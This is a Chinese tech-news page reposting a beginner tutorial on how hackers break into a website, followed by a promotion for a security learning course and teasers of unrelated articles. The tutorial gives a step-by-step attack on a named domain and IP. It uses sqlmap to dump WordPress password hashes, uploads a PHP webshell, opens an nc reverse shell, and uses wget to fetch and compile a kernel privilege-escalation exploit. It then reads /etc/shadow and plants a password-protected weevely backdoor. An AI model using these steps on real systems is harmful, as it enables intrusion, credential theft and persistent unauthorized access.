news 2026/4/18 8:20:58

黑客是如何攻破一个网站的?长文图解全流程讲解,黑客技术零基础入门到精通教程!

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
黑客是如何攻破一个网站的?长文图解全流程讲解,黑客技术零基础入门到精通教程!

黑客是如何攻破一个网站的?长文图解全流程讲解,黑客技术零基础入门到精通教程!

一篇科普文,很适合小白,长文请静下心看。

**
**

通过本文你将了解黑客常用的入手思路和技术手法,适合热爱网络信息安全的新手朋友了解学习。本文将从最开始的信息收集开始讲述黑客是如何一步步的攻破你的网站和服务器的。阅读本文你会学到以下内容:

1.渗透测试前的简单信息收集。

2.sqlmap的使用

3.nmap的使用

4.nc反弹提权

5.linux系统的权限提升

6.backtrack 5中渗透测试工具nikto和w3af的使用等.

假设黑客要入侵的你的网站域名为:hack-test.com

让我们用ping命令获取网站服务器的IP地址

现在我们获取了网站服务器的IP地址为:173.236.138.113

寻找同一服务器上的其它网站,我们使用sameip.org.

26 sites hosted on IP Address 173.236.138.113

IDDomainSite Link
1hijackthisforum.comhijackthisforum.com
2sportforum.netsportforum.net
3freeonlinesudoku.netfreeonlinesudoku.net
4cosplayhell.comcosplayhell.com
5videogamenews.orgvideogamenews.org
6gametour.comgametour.com
7qualitypetsitting.netqualitypetsitting.net
8brendanichols.combrendanichols.com
98ez.com8ez.com
10hack-test.comhack-test.com
11kisax.comkisax.com
12paisans.compaisans.com
13mghz.commghz.com
14debateful.comdebateful.com
15jazzygoodtimes.comjazzygoodtimes.com
16fruny.comfruny.com
17vbum.comvbum.com
18wuckie.comwuckie.com
19force5inc.comforce5inc.com
20virushero.comvirushero.com
21twincitiesbusinesspeernetwork.comtwincitiesbusinesspeernetwork.com
22jennieko.comjennieko.com
23davereedy.comdavereedy.com
24joygarrido.comjoygarrido.com
25prismapp.comprismapp.com
26utiligolf.comutiligolf.com

173.236.138.113上有26个网站,很多黑客为了攻破你的网站可能会检查同服务器上的其它网站,但是本次是以研究为目标,我们将抛开服务器上的其它网站,只针对你的网站来进行入侵检测。

我们需要关于你网站的以下信息:

\1. DNS records (A, NS, TXT, MX and SOA)

\2. Web Server Type (Apache, IIS, Tomcat)

\3. Registrar (the company that owns your domain)

\4. Your name, address, email and phone

\5. Scripts that your site uses (php, asp, asp.net, jsp, cfm)

\6. Your server OS (Unix,Linux,Windows,Solaris)

\7. Your server open ports to internet (80, 443, 21, etc.)

让我们开始找你网站的DNS记录,我们用who.is来完成这一目标.

我们发现你的DNS记录如下

让我们来确定web服务器的类型

发现你的Web服务器是apache,接下来确定它的版本.

IP: 173.236.138.113

Website Status: active

Server Type: Apache
Alexa Trend/Rank: 1 Month:3,213,968 3 Month: 2,161,753Page Views per Visit: 1 Month: 2.0 3Month: 3.7

接下来是时候寻找你网站域名的注册信息,你的电话、邮箱、地址等.

我们现在已经获取了你的网站域名的注册信息,包括你的重要信息等.

我们可以通过backtrack5中的whatweb来获取你的网站服务器操作系统类型和服务器的版本.

我们发现你的网站使用了著名的php整站程序wordpress,服务器的的系统类型为FedoraLinux,Web服务器版本Apache 2.2.15.继续查看网站服务器开放的端口,用渗透测试工具nmap:

1-Find services that run on server(查看服务器上运行的服务)

2-Find server OS(查看操作系统版本)

只有80端口是开放的,操作系统是Linux2.6.22(Fedora Core 6),现在我们已经收集了所有关于你网站的重要信息,接下来开始扫描寻找漏洞,比如:

Sql injection – Blind sql injection – LFI – RFI – XSS – CSRF等等.

我们将使用Nikto来收集漏洞信息:

root@bt:/pentest/web/nikto# perlnikto.pl -h hack-test.com

我们也会用到Backtrack 5 R1中的W3AF 工具:

root@bt:/pentest/web/w3af#./w3af_gui

我们输入要检测的网站地址,选择完整的安全审计选项.

稍等一会,你将会看到扫描结果.

发现你的网站存在sql注入漏洞、XSS漏洞、以及其它的漏洞.让我们来探讨SQL注入漏洞.

http://hack-test.com/Hackademic_RTB1/?cat=d%27z%220

我们通过工具发现这个URL存在SQL注入,我们通过Sqlmap来检测这个url.

Using sqlmap with –u url

过一会你会看到

输入N按回车键继续

我们发现你的网站存在mysql显错注入,mysql数据库版本是5.0. 我们通过加入参数”-dbs”来尝试采集数据库名.

发现三个数据库,接下来通过参数”-D wordpress -tables”来查看wordpress数据库的所有表名

通过参数“-T wp_users –columns ”来查看wp_users表中的字段.

接下来猜解字段user_login和user_pass的值.用参数”-C user_login,user_pass–dump”

我们会发现用户名和密码hashes值. 我们需要通过以下在线破解网站来破解密码hashes

http://www.onlinehashcrack.com/free-hash-reverse.php

登陆wordpress的后台wp-admin

尝试上传php webshell到服务器,以方便运行一些linux命令.在插件页面寻找任何可以编辑的插件.我们选择Textile这款插件,编辑插入我们的php webshell,点击更新文件,然后访问我们的phpwebshell.

Phpwebshell被解析了,我们可以控制你网站的文件,但是我们只希望获得网站服务器的root权限,来入侵服务器上其它的网站。

我们用NC来反弹一个shell,首先在我们的电脑上监听5555端口.

然后在Php webshell上反向连接我们的电脑,输入你的IP和端口5555.

点击连接我们会看到

接下来我们尝试执行一些命令:

id uid=48(apache) gid=489(apache) groups=489(apache) (用来显示用户的id和组) pwd /var/www/html/Hackademic_RTB1/wp-content/plugins (显示服务器上当前的路径) uname -a Linux HackademicRTB1 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 721:41:45 EST 2009 i686 i686 i386 GNU/Linux

(显示内核版本信息)

现在我们知道,服务器的内核版本是2.6.31.5-127.fc12.1686,我们在exploit-db.com中搜索此版本的相关漏洞.

在服务器上测试了很多exp之后,我们用以下的exp来提升权限.

http://www.exploit-db.com/exploits/15285

我们在nc shell上执行以下命令:

wgethttp://www.exploit-db.com/exploits/15285 -o roro.c

(下载exp到服务器并重命名为roro.c)

注:很多linux内核的exp都是C语言开发的,因此我们保存为.c扩展名.
exp roro.c代码如下:

#include#include#include#include#include#include#include#include#include#include#include#define RECVPORT 5555#define SENDPORT 6666int prep_sock(int port){int s, ret;struct sockaddr_in addr;s = socket(PF_RDS, SOCK_SEQPACKET, 0);if(s < 0){printf(“[*] Could not open socket.”);exit(-1);}memset(&addr, 0, sizeof(addr));

通过以上代码我们发现该exp是C语言开发的,我们需要将它编译成elf格式的,命令如下:

gcc roro.c –ororo

接下来执行编译好的exp

./roro

执行完成之后我们输入id命令
id
我们发现我们已经是root权限了
uid=0(root) gid=0(root)

现在我们可以查看/etc/shadow文件
cat/etc/shadow

我们可以使用”john theripper”工具破解所有用户的密码.但是我们不会这样做,我们需要在这个服务器上留下后门以方便我们在任何时候访问它.

我们用weevely制作一个php小马上传到服务器上.

1.weevely使用选项
root@bt:/pentest/backdoors/web/weevely#./main.py -

2.用weevely创建一个密码为koko的php后门

root@bt:/pentest/backdoors/web/weevely#./main.py -g -o hax.php -p koko

接下来上传到服务器之后来使用它

root@bt:/pentest/backdoors/web/weevely#./main.py -t -uhttp://hack-test.com/Hackademic_RTB1/wp-content/plugins/hax.php -pkoko

测试我们的hax.php后门

学习资源

如果你是也准备转行学习网络安全(黑客)或者正在学习,这里开源一份360智榜样学习中心独家出品《网络攻防知识库》,希望能够帮助到你

知识库由360智榜样学习中心独家打造出品,旨在帮助网络安全从业者或兴趣爱好者零基础快速入门提升实战能力,熟练掌握基础攻防到深度对抗。

1、知识库价值

深度: 本知识库超越常规工具手册,深入剖析攻击技术的底层原理与高级防御策略,并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等,提供了独到的技术视角和实战验证过的对抗方案。

广度: 面向企业安全建设的核心场景(渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营),本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点,是应对复杂攻防挑战的实用指南。

实战性: 知识库内容源于真实攻防对抗和大型演练实践,通过详尽的攻击复现案例、防御配置实例、自动化脚本代码来传递核心思路与落地方法。

2、 部分核心内容展示

360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。

360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。

内容组织紧密结合攻防场景,辅以大量真实环境复现案例、自动化工具脚本及配置解析。通过策略讲解、原理剖析、实战演示相结合,是你学习过程中好帮手。

1、网络安全意识

2、Linux操作系统

3、WEB架构基础与HTTP协议

4、Web渗透测试

5、渗透测试案例分享

6、渗透测试实战技巧

7、攻防对战实战

8、CTF之MISC实战讲解

3、适合学习的人群

一、基础适配人群

  1. 零基础转型者‌:适合计算机零基础但愿意系统学习的人群,资料覆盖从网络协议、操作系统到渗透测试的完整知识链‌;
  2. 开发/运维人员‌:具备编程或运维基础者可通过资料快速掌握安全防护与漏洞修复技能,实现职业方向拓展‌或者转行就业;
  3. 应届毕业生‌:计算机相关专业学生可通过资料构建完整的网络安全知识体系,缩短企业用人适应期‌;

二、能力提升适配

1、‌技术爱好者‌:适合对攻防技术有强烈兴趣,希望掌握漏洞挖掘、渗透测试等实战技能的学习者‌;

2、安全从业者‌:帮助初级安全工程师系统化提升Web安全、逆向工程等专项能力‌;

3、‌合规需求者‌:包含等保规范、安全策略制定等内容,适合需要应对合规审计的企业人员‌;

因篇幅有限,仅展示部分资料,完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以在下方CSDN官方认证二维码免费领取【保证100%免费】

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/18 0:10:21

RAG 是什么

1. RAG 是什么RAG&#xff08;检索增强生成&#xff09;是一种让语言模型更准确、信息量更丰富地回答问题的方法。它的核心思路类似于先查资料再作答。想象一下&#xff0c;你需要回答一个关于某个专业领域的问题&#xff0c;比如“最新的电动汽车电池技术有哪些突破”。如果你…

作者头像 李华
网站建设 2026/4/18 8:03:48

干翻系统自带,卸载神器,值得收藏

卸载工具之前也有推荐过&#xff0c;今天在给大家推荐一款卸载工具Bulk Crap Uninstall是一款绿色版的卸载工具。 软件支持32位&#xff0c;也支持64位&#xff0c;功能非常强大&#xff0c;比系统自带的好用得太多了~ 它会用不同的颜色标软件目前的情况&#xff0c;分为已验证…

作者头像 李华
网站建设 2026/4/18 5:42:51

AI重构测试生态下的内容突围之道

一、数据革命&#xff1a;70%测试用例AI化的行业震爆 2026年初信通院报告揭示&#xff0c;AI生成测试用例的采用率已突破70%。这一变革源于AI算法的突破性进展&#xff1a;机器学习模型能解析用户故事文档生成覆盖率95%的测试用例&#xff0c;较人工效率提升60%以上。腾讯的实践…

作者头像 李华
网站建设 2026/4/17 7:43:59

计算机毕业设计springboot宿舍管理信息系统 高校学生公寓智慧服务平台的设计与实现 基于SpringBoot的校园住宿事务一体化系统

计算机毕业设计springboot宿舍管理信息系统b5ke29 &#xff08;配套有源码 程序 mysql数据库 论文&#xff09; 本套源码可以在文本联xi,先看具体系统功能演示视频领取&#xff0c;可分享源码参考。疫情之后&#xff0c;高校封闭管理成为常态&#xff0c;纸质登记、Excel统计、…

作者头像 李华
网站建设 2026/4/18 5:37:10

《计算机网络》深入学:IPv4 协议架构与演进

1 引言&#xff1a;互联网的基石 互联网之所以能够将全球数十亿台设备连接在一起&#xff0c;核心在于网络层&#xff08;Network Layer&#xff09;提供的主机到主机&#xff08;Host-to-Host&#xff09;的通信服务。而在网络层中&#xff0c;网际协议版本4&#xff08;Inter…

作者头像 李华
网站建设 2026/4/17 11:17:32

大模型智能体开发实战:从感知到执行的全栈技术,值得收藏

大语言模型&#xff08;LLM&#xff09;作为智能体的核心引擎之一&#xff0c;为智能体的构建带来了新的范式。传统的智能体系统依赖于预定义规则与有限的推理能力&#xff0c;而LLM的引入让智能体具备了自然语言理解、知识推理以及上下文管理的能力&#xff0c;拓展了智能体的…

作者头像 李华